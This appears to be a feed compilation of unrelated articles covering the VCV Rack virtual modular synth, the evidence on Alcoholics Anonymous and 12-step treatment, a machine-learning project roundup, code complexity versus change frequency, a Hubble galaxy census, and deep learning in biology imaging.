In the past decade or so, the analog modular synth—of the kind pioneered by Robert Moog and Don Buchla—has made a comeback, creating a booming niche market full of musicians chasing the sounds of the 70s and 80s. These inscrutable racks of patchbays, oscillators, filters, etc. look to the non-initiated more like telephone operator stations of old than musical instruments. But the sounds they produce are sublime and otherworldly, with a saturated warmth unparalleled in the digital world.

But while analog technology may have perfected certain tones, one can't beat the convenience of digital recording, with its nearly unlimited multi-tracking capability, ability to save settings, and the ease of editing and arranging in the computer. Digital audio workstations have become increasingly sophisticated, able to emulate with “plug-ins” the capabilities of sought-after analog studio gear of the past. It has taken a bit longer for virtual instruments to meet this same standard, but they may be nearly there.

Only the most finely-tuned ears, for example, can hear the difference between the highest-quality digitally modeled guitar amplifiers and effects and their real-world counterparts in the mix. Even the most high-end modeling packages don't cost as much as their real life counterparts, and many also come free in limited versions. So too the wealth of analog synth software, modeled to sound convincingly like the old and newly reissued analog boxes that can run into the many thousands of dollars to collect and connect.

One such collection of synths, the VCV Rack, offers open-source virtual modular synths almost entirely free, with only a few at very modest prices. The standalone virtual rack works without any additional software. Once you’ve created an account and installed it, you can start adding dozens of plug-ins, including various synthesizers, gates, reverbs, compressors, sequencers, keyboards, etc. “It’s pretty transformative stuff,” writes CDM. “You can run virtual modules to synthesize and process sounds, both those emulating real hardware and many that exist only in software.”

The learning curve is plenty steep for those who haven’t handled this perplexing technology outside the box. A series of YouTube tutorials, a few of which you can see here, can get you going in short order. Those already experienced with the real-world stuff will delight in the expanded capabilities of the digital versions, as well as the fidelity with which these plug-ins emulate real equipment—without the need for a roomful of cables, unwieldly racks, and soldiering irons and spare parts for those inevitable bad connections and broken switches and inputs.

You can download the virtual rack here, then follow the instructions to load as many plug-ins as you like. CDM has instructions for the developer version (find the source code here), and a YouTube series called Modular Curiosity demonstrates how to install the rack and use the various plugins (see their first video further up and find the rest here). Modular System Beginner Tutorial is another YouTube guide, with five different videos. See number one above and the rest here. The longer video at the top of the post offers a “first look and noob tutorial.”

VCV Rack is only the latest of many virtual modular synths, including Native Instruments’ Reaktor Blocks and Softube’s Modular. “But these come with a hefty price tag,” notes FACT magazine. “VCV Rack can be downloaded for free on Linux, Mac and Windows platform.” And if you’re wondering how it stacks up against the real-life boxes it emulates, check out the video below.

Related Content:

How the Moog Synthesizer Changed the Sound of Music

The Mastermind of Devo, Mark Mothersbaugh, Shows Off His Synthesizer Collection

Hear What Music Sounds Like When It’s Created by Synthesizers Made with Artificial Intelligence

Josh Jones is a writer and musician based in Durham, NC. Follow him at @jdmagness.


Some people swear by Alcoholics Anonymous and others despise it

$
0
0

Rae Steward, a 33-year-old from California, struggled with alcohol and drug addiction as early as age 14. But it got really bad in her late teens and early 20s. “I barely remember those two years,” she said. “I was pretty much just blackout [drunk] the entire time.”

Then Steward found a treatment program, which pushed her to attend Alcoholics Anonymous meetings and follow the 12 steps. Attendees are encouraged to complete 12 guidelines — or “steps” — that combine spiritualistic ideals about addiction, along with the view that it’s a disease, to help them overcome their illness. Among the steps: submit to a higher power, address “defects of character,” and make amends for past problems.

Steward said that with the help of the program and AA meetings, she’s been sober for 10 years. “When I started doing the steps, I didn’t think they were going to work,” she said. “I still, 10 years later, don’t understand why they worked. But I feel like they gave me the design for living life. At this point, I just incorporate the steps in daily living.”

But for every Rae, there’s a Roger, who asked I use a pseudonym. He tried a 12-step treatment program in Indiana in 2012 and 2013 for his alcohol and stimulant drug use.

It didn’t stick. Within months, he moved to Virginia, and went back to drinking and using drugs. “I spent a year and a half staying blackout-ish drunk every night,” he said. He managed to keep working and hid his drinking and stimulant drug use. But things got worse. In September 2014, he was hospitalized for his alcohol and drug use. He got out and went back to drinking. By the end of November, he had stopped going to work and cut off communication with friends and family.

Suddenly, in December 2014, Roger decided to stop drinking. “I don’t really know why,” he said. Two days in, police did a wellness check — on his parents’ request — and that’s when he reconnected with his family. He moved to Michigan and started going to AA meetings, finding them helpful for a few months and even completing the 12 steps — but eventually dropped off.

Roger, now 26, has managed to stay sober for the past three years. Although he credits the later AA meetings for giving him a support system, he remained alcohol- and drug-free even after he dropped the meetings. Roger’s big change seemed to be due not to the 12-step program, but to the sudden realization that he was heading in the wrong direction — although, by his admission, he can’t explain exactly why he came to this realization.

Then there’s Betsy, who asked I only use her first name. She had a particularly bad experience with AA and affiliated Al-Anon meetings. She stopped drinking after a DUI conviction banned her from bars, but she said the AA meetings she attended had little to do with it. She couldn’t get a sponsor (as AA recommends), she didn’t complete the steps, and at one point she found herself in serious danger with a man from a meeting.

“I drove another man home,” Betsy said. “He was really not very stable. I ended up narrowly escaping being raped in his house. Looking back, I’m not sure how I got out of it. I was trying to be nice, but he definitely assaulted me in his house.” She added, “At the time, I was still sick myself, so I kind of thought it was funny. And a friend pointed out to me, ‘You know this wasn’t funny, right? That was not a funny thing that happened to you.’ And at that point, I started realizing there was something wrong.”

Betsy found herself fundamentally conflicted with AA’s philosophies. As an atheist, she always struggled to define her higher power. AA says people can define it however they want — even use a doorknob if they need to. Betsy tried to define her higher power as her cat, but it just never clicked. “I don’t believe in any of that stuff,” she said.

Betsy, who’s 42 and lives in Texas, is now 10 years in recovery, but not because of AA. After her struggles, she found a different, secular mutual support group, LifeRing— and that seemed to work much better in helping her address not only her drinking but the underlying problems that led her to drink so much in the first place.

So does Betsy show that the 12 steps don’t work? Does Steward show that they do work? Does Roger show that the 12 steps maybe do something but not all that much?

Here’s the thing: The results that Steward, Roger, and Betsy each got from AA, while disparate, aren’t abnormal. They’re representative of the 12 steps’ mix of successes and failures.

Over the past few months, I talked to experts who’ve researched 12-step facilitation treatment and AA, as well as people who attended the programs. My goal was to see whether the 12 steps really do help people overcome their alcohol addictions.

The answer: It’s complicated.

The simplest explanation is that 12-step treatment and AA meetings work for some people but not for others. J. Scott Tonigan, a researcher at the University of New Mexico Center on Alcoholism, Substance Abuse, and Addictions (CASAA), said the research supports a “rule of thirds”: About a third of people maintain recovery from alcohol addiction due to 12-step treatment, another third get something out of the treatment but not enough for full recovery, and another third get nothing at all.

Getting to the bottom of this is crucial to dealing with a big public health problem. Based on federal data, more than 20 million people have a substance use disorder, and within that group, more than 15 million have an alcohol use disorder. Excessive drinking alone is linked to 88,000 deaths each year. So whether one of the most common types of treatment for this disease is actually effective could be a matter of life or death.

For some people, the 12 steps really do work

The 12 steps, first established in the 1930s by Bill Wilson, have now become a powerhouse in the addiction treatment world, with millions of attendees worldwide each year in AA meetings alone. AA has also spawned a network of affiliated groups like Narcotics Anonymous, Marijuana Anonymous, Al-Anon (for family and friends of people with alcohol addiction), and more.

Professional treatment organizations have seized on AA’s popularity, particularly in the US. This led to the creation of the type of program that Steward attended, known as “12-step facilitation,” which pushes people to attend AA meetings and complete the 12 steps. An AA spokesperson said that the actual AA fellowship has nothing to do with professional treatment programs, telling me that “we do not operate, endorse, or comment on treatment facilities.” But the programs have over the decades become one of the most popular ways to treat addiction in professional settings, with federal surveys showing that more than 70 percent of addiction treatment facilities in the US deploy it “sometimes” or “always or often.”

Years of evidence show that the 12 steps, on average, really can help treat alcohol addiction. But that comes with some major caveats.

For one, studies typically focus on outpatient, one-on-one professional settings. This is different from typical AA meetings in a church basement, which are free and therefore most accessible to people in recovery. It’s also different from the residential treatment settings that dominate much of American alcohol addiction treatment today.

The best research also only focuses on alcohol use disorder. So whether the 12 steps work for other kinds of addiction — and whether non-AA programs like Narcotics Anonymous are effective at all — remains an open question in the research. (As such, this article focuses on the research and experiences of people using the 12 steps for alcohol addiction.)

For decades, there was a lot of bad research into the 12 steps, riddled with methodological problems that made it difficult to evaluate whether the approach is effective. In the 1990s, Project MATCH offered a better approach. The randomized clinical trial placed patients into a 12-step program, cognitive behavioral therapy, or motivational enhancement therapy. The results were promising for 12-step treatment: In an evaluation three years after the initial study, researchers concluded that there were few differences in effectiveness between these methods, and, if anything, 12-step treatment showed “a possible slight advantage” in reducing overall drinking.

Since then, other studies have produced similar results. A 2017 study on adolescent alcohol use disorder found that 12-step treatment fared similarly to both cognitive behavioral therapy and motivational enhancement therapy. A 2009 study found that people facilitated into higher AA attendance also reported more days of abstinence. A 2006 study similarly found that intensive referral to 12-step help groups like AA led to more meeting attendance and better alcohol and drug use outcomes.

And a 2006 review of the existing research by the respected Cochrane organization found that while no studies “unequivocally demonstrated the effectiveness of AA or [12-step facilitation treatment] approaches for reducing alcohol dependence or problems,” 12-step treatment fared about as well as other treatment programs.

These studies, however, have a big flaw: They lack a control group. This makes it difficult to gauge just how effective 12-step treatment programs — or, for that matter, cognitive behavioral therapy and motivational enhancement therapy — truly are. It’s possible that these treatments are all equally effective, but the question then becomes how effective treatment in general is over no treatment at all.

Still, a 2009 review of the research found that cognitive behavioral therapy produces “a small but statistically significant treatment effect” in general and a rather large effect when compared to no treatment whatsoever: “79% of individuals treated with CBT showed rates of substance-use-reduction above the median of those assigned to a wait-list or similar no-treatment control.”

Again, much of this research is looking at a narrow kind of program: 12-step facilitation treatment in an outpatient setting. It doesn’t speak to someone who only attends AA meetings, which by themselves are not professional treatment. It doesn’t even speak to residential treatment, when someone stays at a facility for weeks or months to get care.

John Kelly, an addiction researcher at Harvard Medical School, said that residential treatment and community-based options like AA meetings have shown “compelling evidence.” For example, some randomizedclinical trials show that getting people to attend more AA meetings is associated with better drug and alcohol use outcomes. “But,” he added, “I would say we need more studies.” The question is whether greater attendance itself or some other factor — such as an underlying motivation to quit drinking — is driving the better outcomes.

But the overall research suggests that the 12 steps really do work — at least for some individuals.

Why the 12 steps work for some people

Official AA writings tend to pin the 12 steps’ success to their spiritual elements, with the final step even invoking “a spiritual awakening.”

While the spiritual element does something for some people, it’s not why 12-step facilitation treatment and AA work for many others. Albert, a pseudonym for a 37-year-old in Georgia who’s been sober for more than half a year, said he, as an atheist, finds the spiritual elements of the program to be a big negative. But 12-step treatment and AA meetings have still proven a big help to him.

“It did not provide a burning bush spiritual experience that changed my life,” he told me. “But it did put me in contact with other people that were sober or trying to be sober. That helped me make some connections and make some friends.” He added, “It can be difficult as a young adult to socialize without alcohol, or at least it seems like it to me.”

This speaks to one of the big non-spiritual reasons that 12-step treatment and AA work for some people: They help foster changes in a person’s social network.

After months, years, or decades of drug or alcohol use, people with addiction typically have surrounded themselves with peers and friends who also use drugs. This becomes, as Kelly of Harvard Medical School put it, “one of the major threats to sobriety.”

By attending meetings, attendees can connect with others who want to stop using drugs. This new social network provides support for sobriety, and creates a means to socialize without using drugs.

David Sanderson, a 55-year-old from Prince Edward Island, Canada, said this matched his experience. “Immediately for me, it was this connection with people that I knew,” Sanderson said, describing his first meeting. He talked about how important “the meeting after the meeting” was in helping him connect to other people — and how that helped add people to his social network who weren’t so interested in drinking. At the same time, he didn’t find much value in the spiritual aspects of the 12 steps.

Stories like Albert’s and Sanderson’s are backed by severalstudies, which found that changing a person’s social network can make it easier to abstain from drugs. “It’s the social support that makes the difference,” Christine Timko, an addiction researcher at Stanford, told me. “When people have fewer people doing drugs and drinking in their social network, and they have more people in their social network who aren’t using and drinking, then they’re better off themselves in terms of being able to not drink and use.”

Twelve-step treatment and going to AA meetings, Kelly said, also “boost your ability to cope with the demands of recovery.”

This is the kind of thing that cognitive behavioral therapy tries to do: It teaches a person how to resist alcohol and drugs when offered, how to deal with difficult life events without resorting to drugs, how to cope with stigma about addiction, and on and on. It essentially teaches the patient how to develop the attitudes and behaviors that may be needed to resist relapse.

“You could be forgiven for looking at AA as a quasi-religious, spiritual entity,” Kelly said. “But if you went to 10 AA meetings and listened, you would hear, essentially, cognitive behavioral therapy.”

The 12-step treatment patients and AA attendees I talked to corroborated this. Listening to other people’s stories helped them find coping mechanisms to overcome triggers for drinking, from exercises to staying in close contact with other attendees to simply drinking a lot of club soda at social events in which drinking was happening. They learned how to deal with environmental cues and social stress without resorting to alcohol and other drugs.

Even Steward, who attributed some of her success to AA’s spiritual elements, said that the biggest change, at the end of the day, came from other elements of the 12 steps that gave her a sense of support and structure she could leverage throughout her life. “Really,” she said, “what I’ve gotten is the ability to not be an asshole.”

Why the 12 steps don’t work for others

For all the success stories with the 12 steps, there’s also many of disappointment.

The biggest sticking point seems to be the 12 steps’ spiritual element. Critics such as Maia Szalavitz, an addiction journalist and author of Unbroken Brain: A Revolutionary New Way of Understanding Addiction, have focused on this part of the program to argue that the 12 steps really shouldn’t be considered treatment at all.

“Let’s say you go to a doctor to get your depression treated,” Szalavitz told me. “If they told you that you had to surrender to a higher power, address your character defects, make a moral inventory, [and] pray, you would probably think that you had gone to a quack.” She added, “If we’re going to argue, as the 12-step people strenuously do, that addiction is a disease, it cannot be the only disease for which the treatment is confession and prayer. That’s just not acceptable.”

This is why Roger fell in and out of the program. Although he’s agnostic, he tried to make it work — following AA’s recommendation to, if needed, make his higher power a doorknob. “But it’s really weird to pray to a doorknob,” Roger said. “That’s a strange thing to do.”

This is something that critics of the 12 steps brought up again and again: When zealotry, spirituality, and religion come into the picture, people can get judgmental. Betsy, for instance, said she was mocked and chastised by other attendees for making her cat her spiritual power — even though it’s the kind of thing that AA recommends.

What further complicates this is that different AA meetings and communities function differently. Albert said that his current AA group is LGBTQ-friendly and includes a lot of atheists and agnostics. But depending on where someone lives and attends meetings, the experience can be different — and much more negative.

Gerald Zeigler, a 44-year-old in Montana, said that he is religious, but the 12 steps still didn’t work for dealing with his alcohol addiction. Although he found some value in the group support provided by AA meetings, he felt he was “shamed” by the program — as if his struggles in recovery reflected some sort of character flaw.

“Everybody has character flaws, but I don’t think that’s the reason for alcoholism,” Zeigler said, arguing that addiction should be treated as a medical condition, not a moral, spiritual, or religious issue. “It was a real turn-off for me.”

In some cases, rigid interpretations of the 12 steps can even lead people to reject treatments or approaches that work for some people.

A 2015 article in the Atlantic by Gabrielle Glaser, which came up in my conversations, emphasized the potential of naltrexone and other medications that can help people stop drinking. The evidence shows that these medications can help maintain abstinence and reduce heavy drinking — but they don’t work for everyone, and their success can differ depending on how they’re used. Among the people I talked to who used naltrexone, its effectiveness varied.

But some 12-step treatment programs and AA participants are actively hostile to the idea of using medications to treat addiction. They interpret sobriety as fully quitting all drugs, and using naltrexone to stop drinking falls short of that. (This stigma extends to opioid addiction, for which medications are widely considered the gold standard for treatment, and even other mental health issues, such as depression and anxiety.)

This does not apply to every 12-step treatment program or AA group. A spokesperson told me that AA does not take an official stance against medications, leaving those issues to individuals and their doctors. And the Hazelden Betty Ford Foundation, a big treatment provider based on the 12 steps, uses medications to treat addiction, as do many other treatment providers. But not everyone is on board.

Along similar lines, 12-step treatment programs nearly unanimously reject moderated drinking as a potential outcome for participants. But some people can succeed with moderate drinking. Betsy, for one, still drinks “maybe twice a year,” she said. And from her perspective, she’s now doing fine.

All of this gets to a fundamental conflict within the heart of the 12 steps: The same rigidity that gives people like Steward a structured guide to life also turns off others. As Betsy told me, “I don’t like having to fit into their framework.”

Some 12-step treatment programs have also been tied to a confrontational approach. This has been popularized in a lot of media, such as the Sopranos scene that starts with a well-meaning intervention and ends with several characters beating the person they believe needs to get help. It’s also led to some bizarre AA spinoffs, like the Synanon movement that eventually devolved into what journalist Zachary Siegel described as “a violent cult.”

The reality, Tonigan of CASAA told me, is that the confrontational approach “is horribly ineffective.” The best research shows that positive reinforcements, such as motivational training and life enrichment, are much more effective means of getting people to stop drinking. (This is also true for encouraging changes that can combat problems beyond addiction.)

But just as the emphasis on spirituality and acceptance of medication varies from 12-step group to 12-step group, so too does each group’s focus on compassion versus confrontation. And that can create some truly bad experiences for some people, causing them to relapse — and potentially put their lives at risk once again.

For addiction, we need as many options as possible

Every single person I talked to, regardless of whether the 12 steps worked for them, did have one point of agreement: The 12 steps and AA should be available, but they shouldn’t be the only option.

“There’s a lot of good people in AA, and there’s a lot of support there, there’s a lot of compassion there,” Zeigler said. “I just find it so bizarre that it’s treated as the option for everybody.”

“AA has worked,” Sanderson, who has been sober for more than two decades, said, “and I’ve felt no reason to try other programs.” But, he added, “if anyone has difficulties with any of the concepts in AA, grab on to whatever is going to work.”

This echoes what researchers told me as well. As Keith Humphreys of Stanford put it, “We don’t have anything that works for everybody. There’s very few places in medicine where you do.” So there need to be as many alternatives as possible.

Yet the reality, researchers said, is that most treatment facilities in America are based on the 12 steps — making it the only option for many people. While alternatives like SMART Recovery or LifeRing do exist, they’re not nearly as available as AA — and they certainly aren’t built into professional treatment programs in the same way as the 12 steps.

That’s not because other mutual help groups are expected to be worse. Kelly of Harvard told me that he “would bet that SMART Recovery, LifeRing, [and] these other mutual help groups, if they were as available and accessible, they would produce a similar benefit to AA. I don’t think it’s the unique, specific aspects of AA that make the difference; it’s rather these common therapeutic factors, which are incorporated into all of these mutual help groups.”

In the real world, though, these non-AA options for support groups can be rare — to the point that it’s difficult to study them, facilitate participation in them, or simply sign up for them.

Albert experienced this problem firsthand: The hundreds of AA meetings held in his city every week make it easy for him to find a time and place that’s convenient for him. The same is not true for other programs, which tend to have maybe a handful of meetings each week. “It just doesn’t work practically,” Albert said.

The problem is further compounded by poor access to even 12-step treatment facilities. Health insurers can be resistant to paying for addiction care, even when they’re required to under federal law— forcing patients to shell out as much as thousands of dollars a month out of pocket. Waiting periods for treatment can also span weeks or months, making it difficult to get people into care during limited windows of opportunity.

As a result, a 2016 report by the surgeon general found that only 10 percent of people with a drug use disorder get specialty treatment. (Although, notably, some research suggests that more than half of people successfully deal with their drug use disorders without treatment.)

Government policies and health care providers could change all of this by putting more resources toward greater access to treatment and alternative groups. More individuals could try to start local branches of the alternatives. New technologies could be used to hold meetings online instead of in person.

The goal should be to get a broad range of options for a disease that is marked by individualized characteristics that require individualized approaches. But the reality falls far short of that.

“There’s just not a lot of widely advertised options available,” Albert said. AA and 12-step treatment are “the most well-known and most recommended option, so that’s kind of where you tend to go.”

Weekly Machine Learning Opensource Roundup – Jan. 4, 2018

$
0
0

Examples

Toy SMT
Simple SMT solver

Susi Server
Personal Assistants SUSI Artificial Intelligence Backend for Chat Bots

Images to OSM
Use TensorFlow, Bing, and OSM to find features in satellite images for fun.

Toolset

DM Control
The DeepMind Control Suite and Control Package

Models

wav2letter
Facebook AI Research Automatic Speech Recognition Toolkit

Skip Thoughts
An implementation of Skip-Thought Vectors in PyTorch

Noisy Natural Gradient
Pytorch Implementation of paper “Noisy Natural Gradient as Variational Inference”

Libraries

ThunderSVM
A Fast SVM Library on GPUs and CPUs

Picasso
Penalized Sparse Learning Solver – Unleash the Power of Nonconvex Penalty


Like to add your project? tweet to @stkim1!

The Attraction of Complexity

$
0
0
pdf version

Introduction

How is complexity distributed through a codebase? Does this distribution present similarities across different projects? And, especially, are we more likely to change complex code or simple code?

This summer, towards the end of my article about Technical Interest, I found that I wanted to write something like: “not only working on complex pieces of code is expensive, but we are also more likely to work on those complex pieces than on the simple ones”. This rings true to my ears, and everyone I talked with on the topic of complexity reasons that, the more complex a piece of code is, the more logic it contains; since the goal of a system modification is to change its logic, we are more likely to end up touching a logic-rich part than a low complexity part. But is this reasoning backed by reality?

I could think of only one way to know: go through all the changes in the history of multiple projects and calculate the complexity of the functions containing each change, then group data together to see if it makes any sense.

Collecting the Data

It all starts with git, of course: I created a node.js script that scans the history of a GitHub project and checks out the files changed by every commit, putting them in a folder named with the commit id and writing a file: changes.csv, which lists the filepath and line number of every change.

Then I wrote a script in SonarJS that reads changes.csv, parses every file mentioned therein and calculates the Cognitive Complexity of the function directly containing the line listed in the change. It stores the filepath, the function name, its complexity and its size in a new file: stats.csv.
The same script also calculates the complexity of all functions currently (checkout HEAD) in the project, it stores the aggregated size of all functions with the same complexity, in a file: complexity_distribution.csv.

The Dataset

The projects I selected are :

I picked them to get a mix of large, medium and small projects, both libraries and final products. I also wanted to have a large number of changes overall: these five projects together account for roughly 220.000 JS function changes.

Why only JavaScript

Since I work on SonarJS most of the time, it’s easy for me to customize it as I need, thus focusing exclusively on JavaScript projects spared me a lot of effort. This leaves an interesting area of investigation wide open: how these findings transpose, if at all, to code-bases written in languages with different features and domains of application?

Project Code Distribution

I collected the overall code distribution (the data found in complexity_distribution.csv) mostly because I needed it for the change frequency normalizations later on, but a first interesting finding is that, looking at how code is distributed across complexity at a given point in time, the distributions are quite similar across very diverse projects. Here’s a couple examples and then the aggregation of all five under study. The amount of code in the projects’ graphs is normalized to the largest value, so all normalized values are within 1 and 0. I calculated absolute values by counting the number of expressions/statements and, depending on the project, the value 1 can represent tens of thousands or hundreds of thousands of those.



For this and any other aggregations across the five target projects, don’t forget that I add normalized values, this way the relative of each project has no impact.

Complexity and Change Frequency

We are now getting closer to the core of the matter, let’s see how many times code is changed over the history of a project depending on the code complexity. Here’s Restbase:

The vast majority of changes is happening in low complexity code. It would seem that there’s an inverse relationship between the likelihood of change and the complexity of code; but this diagram is also strikingly similar to Restbase’s general code distribution. If I normalize the number of changes and plot them together with the code distribution, the similarity is obvious:
The same is true for the other projects, for instance, Keystone:


And all projects combined:

This makes sense: if a project contains code, that code has to come from changes, more code, more changes. I can’t stop here though, the sheer mass of code and the changes that were required to initially write it might be hiding the true trends of change frequency over complexity.

Change Frequency Density

If I normalize the number of changes over the amount of code I am calculating how frequently a piece of code changes on average. This I call the change frequency density, or change frequency per expression. This measure can be interpreted also as how likely is a piece of code to change depending on the complexity of the function that contains it.

This looks almost like random noise: after an initial peak (one change for every ten expressions) for code at zero-complexity, the number of changes per expression drops and continues to decrease until well after complexity 15, then it starts to jump around randomly.

Function Gravity

The problem is that complexity is a metric that is function-based and the goal of all this exercise is to find out if a function with a given complexity is more or less likely to change, not if a specific expression is more or less likely to change when it belongs to a function with a given complexity. What I want is to get the number of changes in the history of a function of a given complexity, so I group together all the changes of every function (this is something that I can do because I’ve collected the fully-defined name of the function enclosing every git change) and then I calculate the average complexity of the function through its history, all the changes of the function are then accounted for at that average complexity. In short, function-aggregated changes.

Looking carefully, the pink plot shows some interesting bumps, especially in the higher complexities, but the overall code distribution still dominates the shape of the data. What if I calculate the aggregated changes divided by the number of functions? That should really show how much a single function aggregates changes regardless of the sheer amount of functions existing at a given complexity. I call this ‘Function Gravity’.

I suspect the final peak is more of an anomaly due to the extreme rarity of functions with an average complexity above 25, Let’s reduce the range to maximum 25, to stay in an area where the data-set is not too thin.

I distinguish two zones of this graph. From zero to complexity 10, the attraction is almost monotonically growing, after 10 there are peaks and valleys, with a similar mean growth, but minima that, while being more than twice the complexity, can have a much lower attraction to change than the functions with average complexity 10.
This means that using the complexity of a function is a relatively good way to target the refactoring effort, functions with complexity 8 and 12 today are likely to accumulate much more changes, as they get to higher complexities, than functions with complexity 0 to 6 would (remember the graph shows a function’s average complexity over its life).
This is no longer true after complexity 12 though: while targeting a function that today has complexity 16 might allow you to refactor a piece of code that will change a lot, the vast oscillations in this part of the graph make this an hazardous bet, you can win big, but you can also spend days to refactor a complicated function that in the future will not change more frequently than a 0-complexity getter.
Can we get a better metric to spot functions which change very frequently?

Change Potential

Function that have historically received many changes should be larger on average. But does that hold true?I believe the macroscopic approach has now reached its limits and to proceed further I should start studying specific functions and see if there are any indicators to their change-frequency future, but still, a final set of graphs:

This seems to confirm that between 0 and 10 favoring the refactoring of higher complexity functions over lower complexity functions is a safe bet, especially in the range 7 – 10. It also shows the random nature of the code changes after complexity 15: it becomes possible to both have lower average sizes with proportionally much larger change histories and large functions which change very rarely. This might be because very complex code impacts developer behavior: for instance, it’s not unusual for developers to group multiple changes to especially complex functions to avoid having to re-learn them multiple times. It’s in those places, at high complexity, where functions changes and function sizes diverge strongly, where I would like to abandon the aggregate view and look at specific cases, but that will have to wait.

Conclusions

There seems to be a correlation between function complexity and number of changes, beyond what mere function size would suggest, at least between complexity 0 and 10. After complexity 10 things start to change, after complexity 15 the appearance of relatively small functions with lots of changes and large, high-complexity functions with few changes, makes for some great opportunities and big risks.

Side Notes

While I was writing this article I happened to think of the open-closed principle. OCP is notoriously hard to measure and in a discussion on the XP mailing list years ago I even went so far as to say that it’s impossible to measure (or apply) OCP up front, it can only be used to evaluate the soundness of a system’s modularity after the fact. From this point of view, the distribution of changes over complexity might be seen as a metric to measure how well OCP is respected: if existing complexity is most often the site of new changes, OCP is not being respected, if new changes tend to happen mostly in low complexity zones of code instead, we are implementing new features without modifying existing logic, and OCP is respected.

Observable Universe contains 10x more galaxies than previously thought (2016)

$
0
0

heic1620 — Science Release

13 October 2016

Astronomers using data from the NASA/ESA Hubble Space Telescopes and other telescopes have performed an accurate census of the number of galaxies in the Universe. The group came to the surprising conclusion that there are at least 10 times as many galaxies in the observable Universe as previously thought. The results have clear implications for our understanding of galaxy formation, and also help solve an ancient astronomical paradox — why is the sky dark at night?

One of the most fundamental questions in astronomy is that of just how many galaxies the Universe contains. The Hubble Deep Field images, captured in the mid 1990s, gave the first real insight into this. Myriad faint galaxies were revealed, and it was estimated that the observable Universe contains between 100 to 200 billion galaxies [1]. Now, an international team, led by Christopher Conselice from the University of Nottingham, UK, have shown that this figure is at least ten times too low.

Conselice and his team reached this conclusion using deep space images from Hubble, data from his team’s previous work, and other published data [2]. They painstakingly converted the images into 3D, in order to make accurate measurements of the number of galaxies at different times in the Universe’s history. In addition, they used new mathematical models which allowed them to infer the existence of galaxies which the current generation of telescopes cannot observe. This led to the surprising realisation that in order for the numbers to add up, some 90% of the galaxies in the observable Universe are actually too faint and too far away to be seen — yet.

“It boggles the mind that over 90% of the galaxies in the Universe have yet to be studied. Who knows what interesting properties we will find when we observe these galaxies with the next generation of telescopes,” explains Christopher Conselice about the far-reaching implications of the new results.

In analysing the data the team looked more than 13 billion years into the past. This showed them that galaxies are not evenly distributed throughout the Universe’s history. In fact, it appears that there were a factor of 10 more galaxies per unit volume when the Universe was only a few billion years old compared with today. Most of these galaxies were relatively small and faint, with masses similar to those of the satellite galaxies surrounding the Milky Way.

These results are powerful evidence that a significant evolution has taken place throughout the Universe’s history, an evolution during which galaxies merged together, dramatically reducing their total number. “This gives us a verification of the so-called top-down formation of structure in the Universe,” explains Conselice.

The decreasing number of galaxies as time progresses also contributes to the solution of Olbers’ paradox— why the sky is dark at night [3]. The team came to the conclusion that there is such an abundance of galaxies that, in principle, every point in the sky contains part of a galaxy. However, most of these galaxies are invisible to the human eye and even to modern telescopes, owing to a combination of factors: redshifting of light, the Universe’s dynamic nature and the absorption of light by intergalactic dust and gas, all combine to ensure that the night sky remains mostly dark.

Notes

[1] The limited speed of light and the age of the Universe mean that the entire Universe cannot be seen from Earth. The part visible within our cosmological horizon is called the observable Universe.

[2] The study uses data from Perez-Gonzalez et al. (2008), Kajisawa et al. (2009), Fontanta et al. (2004, 2006), Caputi et al. (2011), Pozzetti et al. (2009), Mortlock et al. (2011), Muzzin et al. (2013), Mortlock et al. (2015), Duncan et al. (2014), Grazian et al. (2015), Tomczak et al. (2014) and Song et al. (2015).

[3] The astronomer Heinrich Olbers argued that the night sky should be permanently flooded by light, because in an unchanging Universe filled with an infinite number of stars, every single part of the sky should be occupied by a bright object. However, our modern understanding of the Universe is that it is both finite and dynamic — not infinite and static.

More information

The Hubble Space Telescope is a project of international cooperation between ESA and NASA.

The results are going to appear in the paper “The evolution of galaxy number density at z < 8 and its implications”, to be published in the Astrophysical Journal.

The international team of astronomers in this study consists of Christopher J. Conselice (University of Nottingham, United Kingdom), Aaron Wilkinson (University of Nottingham, United Kingdom), Kenneth Duncan (Leiden University, the Netherlands), and Alice Mortlock (University of Edinburgh, United Kingdom)

Image credit: NASA, ESA

Links

Contacts

Christopher Conselice
University of Nottingham
Nottingham, United Kingdom
Tel: +44 115 951 5137
Email: conselice@nottingham.ac.uk

Mathias Jäger
ESA/Hubble, Public Information Officer
Garching bei München, Germany
Tel: +49 176 62397500
Email: mjaeger@partner.eso.org

Lindsay Brooke
University of Nottingham, Media Relations Manager
Nottingham, United Kingdom
Tel: +44 115 951 5751
Email: lindsay.brooke@nottingham.ac.uk

Deep learning sharpens views of cells and genes

$
0
0
Picture of retina

Retinal images could allow computers to predict a person’s risk of an imminent heart attack.Credit: Paul Parker/SPL

Eyes are said to be the window to the soul — but researchers at Google see them as indicators of a person’s health. The technology giant is using deep learning to predict a person’s blood pressure, age and smoking status by analysing a photograph of their retina. Google’s computers glean clues from the arrangement of blood vessels — and a preliminary study suggests that the machines can use this information to predict whether someone is at risk of an impending heart attack.  

The research relied on a convolutional neural network, a type of deep-learning algorithm that is transforming how biologists analyse images. Scientists are using the approach to find mutations in genomes and predict variations in the layout of single cells. Google’s approach, described in a preprint in August (R. Poplin et al. Preprint at https://arxiv.org/abs/1708.09843; 2017), is part of a wave of new deep-learning applications that are making image processing easier and more versatile — and could even identify overlooked biological phenomena. 

“It was unrealistic to apply machine learning to many areas of biology before,” says Philip Nelson, a director of engineering at Google Research in Mountain View, California. “Now you can — but even more exciting, machines can now see things that humans might not have seen before.”

Convolutional neural networks allow computers to process an image efficiently and holistically, without splitting it into parts. The approach took off in the tech sector around 2012, enabled by advances in computer power and storage; for example, Facebook uses this type of deep learning to identify faces in photo-graphs. But scientists struggled to apply the networks to biology, in part because of cultural differences between fields. “Take a group of smart biologists and put them in a room of smart computer scientists and they will talk two different languages to each other, and have different mindsets,” says Daphne Koller, chief computing officer at Calico — a biotechnology company in San Francisco, California, that is backed by Google’s parent, Alphabet. 

Scientists also had to identify which types of study could be conducted using networks that must be trained with huge sets of images before they can start making predictions. When Google wanted to use deep learning to find mutations in genomes, its scientists had to convert strands of DNA letters into images that computers could recognize. Then they trained their network on DNA snippets that had been aligned with a reference genome, and whose mutations were known. The end result was DeepVariant, a tool released in December that can find small variations in DNA sequences. In tests, DeepVariant performed at least as well as conventional tools.

